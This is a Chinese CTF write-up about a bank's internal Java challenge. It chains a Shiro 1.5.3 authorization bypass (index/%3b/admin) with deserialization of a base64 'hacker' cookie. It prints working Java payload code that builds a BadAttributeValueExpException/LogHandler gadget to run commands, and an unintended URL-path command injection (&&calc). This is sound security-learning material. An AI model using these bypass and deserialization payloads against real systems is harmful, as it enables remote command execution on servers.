作者: summersec
文章首發:https://www.anquanke.com/post/id/231488
前言
這是某銀行的內部的一個CTF比賽,受邀參加。題目三個關鍵詞權限繞過、shiro、反序列化,題目源碼已經被修改,但考察本質沒有,題目源碼會上傳到JavaLearnVulnerability。
黑盒測試
- xray測試shiro的key
- dirsearch跑目錄
- sqlmap測試登陸框是否存在sql注入
白盒代碼審計
源碼初步分析
- 版本 shiro == 1.5.3(不存在remember反序列化漏洞,但存在CVE-2020-13933權限繞過漏洞)

- shiro驗證通過Realm的方式判斷用戶是否合法,此處重寫
doGetAuthorizationInfo方法,賬戶名admin(可能有用)。
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
String username = (String)authenticationToken.getPrincipal();
if (!"admin".equals(username)) {
throw new UnknownAccountException("unkown user");
} else {
return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());
}
}
- 訪問控制權限,可能看到
index、dologin存在訪問權限。* anon:匿名用戶可訪問 * authc:認證用戶可訪問 * user:使用rememberMe可訪問 * perms:對應權限可訪問 * role:對應角色權限可訪問
@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean() {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(this.securityManager());
bean.setLoginUrl("/login");
Map<String, String> map = new LinkedHashMap();
map.put("/doLogin", "anon");
map.put("/index/*", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
SQL注入?第一眼反應感覺可能存在注入漏洞或者是XSS但又想到是CTF比賽,應該是不會考察XSS,所以覺得是SQL注入漏洞,然后用SQLMAP嘗試一波注入繞過后,沒有發現SQL注入漏洞。
@Override
public String filter(String param) {
String[] keyWord = new String[]{"'", "\"", "select", "union", "/;", "/%3b"};
String[] var3 = keyWord;
int var4 = keyWord.length;
for(int var5 = 0; var5 < var4; ++var5) {
String i = var3[var5];
param = param.replaceAll(i, "");
}
return param;
}
- 遠程命令執行?翻遍代碼發現調用
exeCmd方法只有LogHandler。
public static String exeCmd(String commandStr) {
BufferedReader br = null;
String OS = System.getProperty("os.name").toLowerCase();
try {
Process p = null;
if (OS.startsWith("win")){
p = Runtime.getRuntime().exec(new String[]{"cmd", "/c", commandStr});
}else {
p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", commandStr});
}
br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
StringBuilder sb = new StringBuilder();
while((line = br.readLine()) != null) {
sb.append(line + "\n");
}
return sb.toString();
} catch (Exception var5) {
var5.printStackTrace();
return "error";
}
}
灰盒測試
- 根據獲取的賬號
admin嘗試爆破(無果) - sql注入再次嘗試根據前面過濾掉參數進行bypass(無果),后期發現根本沒有數據庫鏈接操作,不可能存在sql注入。
- 根據獲取的shiro版本可知,沒有shiro反序列化漏洞但有權限繞過(成功)。
目前為止只能根據頁面知道,該頁面是一個訪問日志展示頁面。

源碼深度刨析
深度分析
Javaweb題目當然還是得從web頁面分析,看源碼分析一共就兩個類訪問控制器是處理web請求的。
IndexController處理登錄前后頁面
LoginController處理登錄請求頁面
前面分析到沒有數據庫,在源碼也沒發現登錄的賬號和密碼故不用考慮 LoginController類,深度分析IndexController類發現該類存在反序列化操作。
@GetMapping({"/index/{name}"})
public String index(HttpServletRequest request, HttpServletResponse response, @PathVariable String name) throws Exception {
Cookie[] cookies = request.getCookies();
boolean exist = false;
Cookie cookie = null;
User user = null;
if (cookies != null) {
Cookie[] var8 = cookies;
int var9 = cookies.length;
for(int var10 = 0; var10 < var9; ++var10) {
Cookie c = var8[var10];
//判斷cookie中是否存在hacker字段
if (c.getName().equals("hacker")) {
exist = true;
cookie = c;
break;
}
}
}
// 存在hacker字段,執行反序列化操作
//
if (exist) {
byte[] bytes = Tools.base64Decode(cookie.getValue());
//反序列化操作點
user = (User)Tools.deserialize(bytes);
} else {
// 沒有hacker字段,添加一個并設置其值
user = new User();
user.setID(1);
user.setUserName(name);
cookie = new Cookie("hacker", Tools.base64Encode(Tools.serialize(user)));
response.addCookie(cookie);
}
// 添加值到前端頁面
request.setAttribute("hacker", user);
request.setAttribute("logs", new LogHandler());
return "index";
}
- 前端源碼

存在反序列化點,下一步肯定構造反序列化請求,但如何構造反序列化請求呢?前文提及到調用exeCmd方法只有LogHandler類。分析該類,兩個方法都調用exeCmd執行命令。invoke方法里面調用的exeCmd是執行wirteLog命令,而toString方法里面調用exeCmd是執行readLog命令。
public class LogHandler extends HashSet implements InvocationHandler {
private Object target;
private String readLog = "tail accessLog.txt";
private String writeLog = "echo /test >> accessLog.txt";
public LogHandler() {
}
public LogHandler(Object target) {
this.target = target;
}
@Override
// 請求url路徑寫入訪問日志
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
return method.invoke(this.target, args);
}
@Override
// 讀取日志返回結果
public String toString() {
return Tools.exeCmd(this.readLog);
}
}
小結
總結下目前為止所有的信息點:
- 存在權限繞過,URL:
index/%3b/admin(/%3b可以是/'/,select,union,/;之一) - 存在反序列化點
IndexController#index,構造請求cookie一定要有hacker字段。 index/admin是訪問日志- 反序列化執行的點在
LogHandler其中的兩個方法
Payload構造
下面兩端代碼分別是通過反射調用invoke和toString方法達到執行命令目的,對比一下很明顯toString方法更加的簡單質樸。
public void invoke() throws Throwable {
LogHandler logHandler = new LogHandler();
Field wirtelog = logHandler.getClass().getDeclaredField("writeLog");
wirtelog.setAccessible(true);
wirtelog.set(logHandler, "calc");
Object ob = new Object();
Method method = logHandler.getClass().getMethod("invoke", Object.class, Method.class, Object[].class);
Object[] obs = new Object[]{"asd","asd"};
logHandler.invoke(ob,method,obs);
}

public void ToString() throws NoSuchFieldException, IllegalAccessException {
LogHandler logHandler = new LogHandler();
Field readlog = logHandler.getClass().getDeclaredField("readLog");
readlog.setAccessible(true);
readlog.set(logHandler, "calc");
logHandler.toString();
}

反序列化點get!反序列化目標get!最后一步構造反序列化鏈!現在缺少一個封裝類將構造好的類封裝發給服務器直接反序列化,ysoserial其中的CC5中使用的BadAttributeValueExpException異常類滿足要求。最終Payload如下:
public static void Calc() throws Throwable {
LogHandler logHandler = new LogHandler();
Field readlog = logHandler.getClass().getDeclaredField("readLog");
readlog.setAccessible(true);
readlog.set(logHandler, "calc");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, logHandler);
String datas = Tools.base64Encode(Tools.serialize(badAttributeValueExpException));
System.out.println("Cookie: " + "hacker="+ datas);
}

非預期--執行命令
效果如下:訪問/index/admin&&calc會執行命令

原因分析
根本原因在下面這一段,作者沒有考慮到用戶會使用管道來執行命令,直接將url路徑直接就寫訪問日志中,導致執行命令。
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
return method.invoke(this.target, args);
}
知識補充
寫到這,其實是對shiro一些知識的補充。前期對shiro了解較少,后期做了大量知識補充。官方給的是jar包,反編譯之后改成自己的踩了 一些坑。順便記錄一下,只想看題目分析的可以Pass。
- 下面是自己不仔細導致錯誤,其實都知道,但是忘記了
- User沒有實現
Serializable接口導致報錯,不能反序列化 - User類沒有
serialVersionUID導致報錯,版本不一致
- User沒有實現
- Tools類沒有判斷操作系統的版本,導致執行命令不成功

- tail命令在windows系統是沒有的,導致無法生成acessLog.txt文件
- tail加了-f參數導致服務器一直讀取文件,導致長時間不回顯
-
注釋掉
MyFilter中Component就是shiro原本的CVE-2020-13933漏洞
-
學習了b站關于shiro內容【狂神說Java】SpringBoot整合Shiro框架
總結
* Gadget:
* Tools.base64Decode()
* Tools.deserialize()
* ObjectInputStream.readObject()
* BadAttributeValueExpException.readObject()
* LogHandler.toSting()
* Tools.exeCmd()
當時寫這個題目的時候已經無限接近答案了,只是當時不確定怎么封裝類。不得不說CC鏈還是不熟悉,沒有完全吃透,不得不說CC永遠的神!
參考
https://github.com/SummerSec/JavaLearnVulnerability
https://www.bilibili.com/video/BV1NE411i7S8
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1518/
暫無評論